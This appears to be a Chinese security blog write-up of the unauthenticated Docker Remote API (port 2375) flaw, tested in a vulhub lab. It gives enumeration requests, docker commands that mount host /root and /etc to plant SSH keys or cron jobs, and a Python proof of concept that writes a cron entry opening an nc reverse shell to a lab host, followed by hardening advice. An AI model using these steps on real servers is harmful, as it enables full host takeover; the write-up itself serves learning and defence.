奇奇怪怪

安全小技巧

新的一天开始了

剪刀石头布,哈,我又赢了

2023

05-18

漏洞描述

  • Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell

环境配置

  • vulhub靶场环境
  • docker-compose build
    docker-compose up -d
  • 环境启动后,将监听2375端口。
  • 测试多个环境启动失败,最后使用官方靶场推荐环境,ubuntu20.04 正常启动

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
http://xxx:2375/version  查看版本信息
http://xxx:2375/info 查看info信息
http://host:2375/containers/json 当前服务器运行容器列表信息

使用命令远程连接目标执行docker 指令
docker -H tcp://xxx:2375 images 返回远程目标的 images 信息,也可以执行其他docker命令

**获取宿主机权限**

远程命令运行容器并且使用 -v 参数将宿主机 /root 目录挂载到容器 /mnt/setc 目录
随后可以将生成 ssh 公钥私钥,将公钥写入目标 /root/.ssh/authorized_keys 文件
随后使用私钥登陆
docker -H tcp://192.168.56.117:2375 run -it -v /root:/mnt/setc alpine:latest /bin/sh

远程命令运行容器使用 -v 参数将宿主机 /etc 目录挂载到容器 /mnt/setc 目录
随后写入定时任务命令反弹shell
/etc/crontab ,也可以挂载 /var/spool/cron/ 写入定时任务反弹shell
docker -H tcp://192.168.56.117:2375 run -it -v /etc:/mnt/setc alpine:latest /bin/sh

1
2
3
4
5
6
7
py poc 代码
#!/usr/bin/env python
# coding=utf-8
import docker

client = docker.DockerClient(base_url='http://192.168.56.117:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.56.1 1111 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

漏洞加固

  • 在不必需的情况下,不要启用 docker 的 remote api 服务,如果必须使用的话,可以采用如下的加固方式:
  • 设置 ACL,仅允许信任的来源 IP 连接;
  • 设置 TLS 认证,官方的文档为 Protect the Docker daemon socket
  • 客户端连接时需要设置以下环境变量 export DOCKER_TLS_VERIFY=1
1
2
3
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
  • 在 docker api 服务器前面加一个代理,例如 nginx,设置 401 认证

参考链接

啊,再见了,再见了,哈

我们会再见的对么

再见你要幸福

燕子,燕子